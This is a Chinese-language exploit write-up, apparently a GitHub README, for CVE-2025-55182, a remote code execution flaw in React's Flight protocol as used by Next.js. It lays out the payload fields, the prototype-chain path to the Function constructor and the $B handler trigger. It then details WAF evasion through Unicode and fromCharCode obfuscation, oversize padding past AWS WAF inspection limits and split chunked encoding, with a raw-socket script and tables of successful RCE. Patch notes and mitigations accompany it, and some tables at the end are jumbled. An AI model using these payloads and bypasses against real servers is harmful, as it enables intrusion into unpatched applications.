
针对 CVE-2025-55182 的详细技术分析与概念验证漏洞利用,该漏洞是 React Flight 协议中的一个严重 RCE 漏洞。涵盖路径遍历、伪造数据块注入以及 WAF 绕过技术。
NOTE: 由 AI/Claude 编写
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 是 React 的 Flight 协议中的一个严重 RCE 漏洞。该攻击链利用路径遍历 + 伪造 chunk 注入 + $B 处理器滥用来执行 Function(attacker_code)。
特别感谢 maple3142 提供的可用利用链!
该漏洞利用程序使用三个表单字段来构造恶意载荷:
then 的伪造 chunk 对象(字段 1 $@0 → 字段 0)_response,其 _formData.get 被设置为 $1:constructor:constructor$B 处理器,该处理器调用 response._formData.get(response._prefix + id)_formData.get 解析为 Function,从而执行 Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 关键组件
| 组件 | 用途 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 自引用 thenable;第 1 块(`$@0`)指回第 0 块 |
| `status: "resolved_model"` | 使对象看起来像有效的 React chunk |
| `reason: -1` | 将 rootReference 设为 undefined(避免引用冲突) |
| `value: '{"then":"$B1337"}'` | 触发 `$B` 处理器的嵌套载荷 |
| `_response._prefix` | 包含 RCE 代码字符串 |
| `_response._chunks: "$Q2"` | 空 Map,防止 chunk 处理期间崩溃 |
| `_response._formData.get` | 通过 `$1:constructor:constructor` 指向 `Function` |
### 组件深入解析
#### 表单字段结构
该漏洞利用使用三个带有循环引用的表单字段:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then" 创建了一个自引用,该自引用会解析为一个真实函数:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Why this is critical:**
1. `then` resolves to `Chunk.prototype.then` - a real callable function
2. This makes the fake object a valid thenable
3. When awaited, JS calls `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executes with fake object as `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) 使用 this._response - 攻击者伪造的 _response:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**如果没有自我引用**,伪造的 `_response` 将永远不会被使用。自我引用使 `Chunk.prototype.then` 将攻击者的对象视为真正的 Chunk。
#### 两阶段 Thenable 触发器(`value`)
`value` 字段包含一个嵌套的 JSON 字符串,其中包含另一个 thenable:```json
{"then":"$B1337"}
阶段 1: 外部对象的自引用 then 触发分块处理
阶段 2: 当 React 解析模型时,它会解析 value 并遇到另一个带 then: "$B1337" 的 thenable。$B 前缀会触发处理程序:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` 为 `"$1:constructor:constructor"` → `getOutlinedModel()` 解析为 `Function`。
于是变成:`Function(code + "1337")` → 有效的 JS,因为 `1337` 只是一个尾随表达式。
#### 防御性填充(`_chunks`)
伪造的 `_response` 需要一个有效的 `_chunks` 属性以防止崩溃:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React 的内部代码在处理过程中可能会访问 response._chunks.get() 或 response._chunks.has()。空的 Map 可以满足这些调用而不产生错误,从而使执行流程能够到达易受攻击的 $B 处理程序。
decodeReply() 是入口点,其本身并不存在漏洞。
路径遍历 (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**伪造响应用法** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B 处理程序 RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 修复 (19.2.1)
该补丁包含多项修复:
1. **`initializeModelChunk()` 中的 `RESPONSE_SYMBOL`** - 关键修复 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
getOutlinedModel() 中的 hasOwnProperty 检查 - 阻止原型链遍历 ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ 在 reviveModel() 中的处理 - 防止原型污染 ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() 中进行类型检查 - 验证监听器 ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 能力 | 状态 | 备注 |
|---|---|---|
| 原型链遍历 | ✓ 已确认 | 通过 $1:constructor:constructor |
本节解释为什么传统的模式匹配 WAF 规则无法可靠地检测此漏洞。了解这些局限性对于安全团队评估自身防御态势至关重要。
漏洞攻击载荷会经过多个解析器,每个解析器支持不同的编码。WAF 检查原始 HTTP 字节时看到的是编码后的字符串,但服务器在处理前会先解码:
| 层 | 解析器 | 解码内容 |
|---|---|---|
| JSON 结构 | JSON.parse() |
这导致了根本性的错配:WAF 看到的是编码后的字节,但应用程序看到的是解码后的字符串。
简单的 WAF 可能会查找 constructor、__proto__、resolved_model 或 child_process 等模式。然而,JSON 允许对任意字符使用 Unicode 转义:
载荷内的 JavaScript 代码拥有更多编码选项:
| 模式 | 编码选项 |
|---|---|
当所有编码技术组合在一起时:
then 变为 \u0074\u0068\u0065\u006e)child_process 变为 S(99,104,105,108,100,95,...))扫描 HTTP 请求体的 WAF 只会看到转义序列和数字——没有任何匹配传统攻击签名的内容。
Next-Action 请求头用于标识 Server Action 请求。虽然请求头名称不能进行 Unicode 编码(RFC 7230 要求使用 ASCII 标记),但 WAF 与服务器之间的规范化差异会形成检测缺口:
| 变体 | 服务器行为 | WAF 风险 |
|---|
打补丁是唯一可靠的缓解措施。 由于编码的灵活性,WAF 规则无法全面阻止此攻击。
所需版本:
如果补丁延迟,请考虑:
\uXXXX、\xXX,并规范化 fromCharCode() 调用_response、_prefix、_chunks 或循环引用($@0)的 JSON 结构next-action 请求头并去除空白字符Next-Action 请求头的请求Function() 调用发出告警关键要点:仅靠模式匹配无法抵御此类攻击。编码面过于庞大,无法逐一枚举。
即使配置了全面的 WAF 规则,AWS WAF 仍存在 Body 检查大小限制,可利用此限制实施绕过。本节记录了使用超大载荷进行测试的绕过技术。
AWS WAF 仅检查请求体的一部分:
| 后端 | 默认限制 | 最大可配置 |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandling 问题WAF 规则指定如何处理超过检查限制的请求:
如果您的 WAF 规则使用 OversizeHandling: CONTINUE(常见默认配置),绕过将非常简单。
在漏洞载荷之前放置无害的填充数据,使其落入检查窗口之外:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### 测试结果
所有超大负载均成功在 Next.js 上实现 RCE:
| 填充大小 | 总请求体 | 利用偏移量 | 结果 |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### 分块传输编码绕过
HTTP/1.1 分块传输编码将请求体分割为多个独立的分块。如果 WAF 在重组**之前**检查分块,跨越分块边界的模式将无法匹配。
#### 工作原理```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
跨块拆分的模式:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### 已测试的分块策略
| 策略 | 描述 | 结果 |
|----------|-------------|--------|
| 在 `$@` 处拆分 | `"$` \| `@0"` | ✅ RCE |
| 10 字节分片 | 请求体每 10 字节拆分一次 | ✅ RCE |
| 5 字节分片 | 请求体每 5 字节拆分一次 | ✅ RCE |
| 在 `status` 处拆分 | `sta` \| `tus` | ✅ RCE |
所有策略均成功实现 RCE - Next.js 能正确重组分块请求。
#### 原始套接字示例```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
注意: AWS WAF 通常会在检查前重新组装分块请求体。但由于配置因环境而异,应针对具体环境进行验证。
OversizeHandling 更改为 MATCH ```json
"OversizeHandling": "MATCH"
当规则条件满足时,这会阻止任何超过检查限制的请求。
增加请求体检查限制(仅限 CloudFront/API Gateway) 在 web ACL 设置中最多可配置 64KB,但这并不能完全阻止绕过。
添加基于大小的阻止规则
阻止 Next-Action 头超过合理大小(例如 10KB)的 POST 请求。
修补应用程序 - 唯一完整的解决方案。
请参阅附带的测试脚本:
test-simple.cjs - 基线非分块负载测试test-oversize.cjs - 测试 0-128KB 的填充大小test-chunked-v2.cjs - 使用 $@ 分割的分块传输编码test-chunked-bypass.cjs - 多种分块策略(5 字节、10 字节、模式分割)用法:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## 研究之旅
### 漏洞:路径遍历```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
使用载荷 "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]虽然我们获得了 Function,但实现 RCE 需要用受控参数调用它。以下路径均告失败:
1. Thenable 路径(已阻止)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction 路径(已阻止)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. 迭代器路径(已阻止)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### 突破
maple3142 找到了缺失的一环:`$B` 处理器加上伪造的 `_response` 链。通过自引用让 `then` 解析为 `Chunk.prototype.then`,伪造的 `_response` 就会被使用,从而实现 RCE。
---
## 关键发现
1. **`getOutlinedModel()` 漏洞是真实的** —— 冒号分隔的路径允许原型链遍历
2. **函数构造器可被访问** —— 无需 serverManifest,`$1:constructor:constructor` 即可生效
3. **RCE 可以实现** —— 通过构造带有受控 `_response` 的伪造 chunk:
- 自引用 `$1:__proto__:then` → `Chunk.prototype.then` 使伪造的 `_response` 被使用
- 伪造 chunk 的结构模仿 React 内部 Chunk 类
- `_response._formData.get` → `Function` 构造器
- `_response._prefix` → 恶意代码字符串
- `$B` 处理器触发 `Function(恶意代码)`
4. **修复是全面的** —— 多处 `hasOwnProperty` 检查与类型验证
---
## 参考资料
- [maple3142 的 Gist](https://gist.github.com/maple3142) - RCE 链的发现
- [React 安全公告](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft 概念验证](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF 规则](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## 免责声明
本仓库**仅用于教育和防御性安全研究**。该漏洞已被修复。请立即升级你的依赖。
| 路径 | 函数 | 漏洞利用中的用途 |
|---|
| 路径遍历 | getOutlinedModel() | 将 $1:constructor:constructor 解析为 Function |
伪造 _response 注入 | initializeModelChunk() | 使用攻击者的 chunk._response |
$B 处理程序 | parseModelString() | 调用 _formData.get(_prefix + id) → RCE |
| 访问 Function 构造函数 |
| ✓ 已确认 |
| 无需 manifest |
| 完整 RCE | ✓ 已确认 | 通过伪造 chunk + $B 处理程序 |
\uXXXX Unicode 转义 |
| JavaScript 代码 | Function() 构造函数 | \uXXXX、\xXX、八进制、fromCharCode() |
| 字面量模式 | Unicode 等价形式 | WAF 检测 |
|---|
constructor | \u0063onstructor | 绕过 |
__proto__ | \u005f\u005fproto\u005f\u005f | 绕过 |
resolved_model | \u0072esolved_model | 绕过 |
$@(循环引用) | $\u0040 | 绕过 |
process\u0070rocess、String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process、数字字符代码、base64 |
| 任意标识符 | 括号表示法:this[S(112,114,...)],其中 S=String.fromCharCode |
next-action(小写) | 接受(HTTP 不区分大小写) | 若 WAF 期望精确大小写则漏报 |
Next-Action:\tx(制表符) | 接受(空白字符被规范化) | 若 WAF 期望空格则漏报 |
Next-Action: x(空格) | 接受 | 未规范化则漏报 |
| 设置 |
|---|
| 行为 |
|---|
| 可被利用? |
|---|
CONTINUE | 检查可用字节并评估规则 | 是 —— 限制之后的载荷不会被检查 |
MATCH | 视为匹配(阻止) | 否 —— 阻止超大请求 |
NO_MATCH | 视为不匹配 | 是 —— 直接放行 |
| WAF 类型 | 分块处理 | 可绕过? |
|---|
| AWS WAF (ALB) | 在检查前重新组装 | 可能性低 |
| AWS WAF (CloudFront) | 在检查前重新组装 | 可能性低 |
| 某些传统 WAF | 逐块检查 | 是 |
| Nginx ModSecurity | 可配置 | 取决于配置 |